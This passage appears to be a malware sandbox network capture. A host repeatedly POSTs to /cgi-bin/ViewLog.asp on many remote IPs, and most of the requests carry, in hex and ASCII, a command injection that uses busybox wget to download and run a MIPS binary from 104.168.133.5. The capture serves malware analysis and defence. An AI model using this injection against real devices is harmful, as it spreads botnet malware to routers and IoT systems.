Nov 23, 2023 05:16:42.566421032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:44.838437080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:49.446402073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:58.406426907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:16.838392019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.702229977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	59846	94.46.169.103	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:40.871829987 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:41.066631079 CET	1340	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:40 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	39450	62.109.58.194	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.285130978 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:44.469667912 CET	165	IN	HTTP/1.0 403 Access denied Server: tinyproxy/1.8.2 Content-Type: text/html Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	48042	62.245.72.71	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.296519041 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	47966	94.180.253.190	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.326947927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:44.574342966 CET	1171	IN	HTTP/1.1 404 Set-Cookie: JSESSIONID=1F7FAC3FA8138512AABBD8939626F918; Path=/; HttpOnly Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET Access-Control-Max-Age: 3600 Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With,userId,token,Access-Control-Allow-Headers Access-Control-Allow-Credentials: true X-XSS-Protection: 1; mode=block Content-Type: text/html;charset=UTF-8 Content-Length: 504 Date: Thu, 23 Nov 2023 04:16:44 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 68 31 7b 0d 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 0d 0a 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 30 70 78 3b 0d 0a 09 7d 0d 0a 09 68 32 7b 0d 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 30 70 78 3b 0d 0a 09 7d 0d 0a 09 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 0d 0a 3c 68 32 3e 65 72 72 6f 72 20 50 61 67 65 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></title><style>h1{text-align:center;font-size:150px;margin-top:200px;}h2{text-align:center;font-size:60px;margin-top:200px;}</style></head><body><h1>404</h1><h2>error Page</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	36172	95.14.38.36	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.357275009 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:45.109220982 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	60678	94.121.64.101	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.553442955 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	39452	62.109.58.194	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.653716087 CET	163	IN	HTTP/1.0 400 Bad Request Server: tinyproxy/1.8.2 Content-Type: text/html Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	39920	31.136.104.163	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:44.737946033 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:45.318447113 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:46.470417023 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.934448004 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:53.542438984 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:02.758460045 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
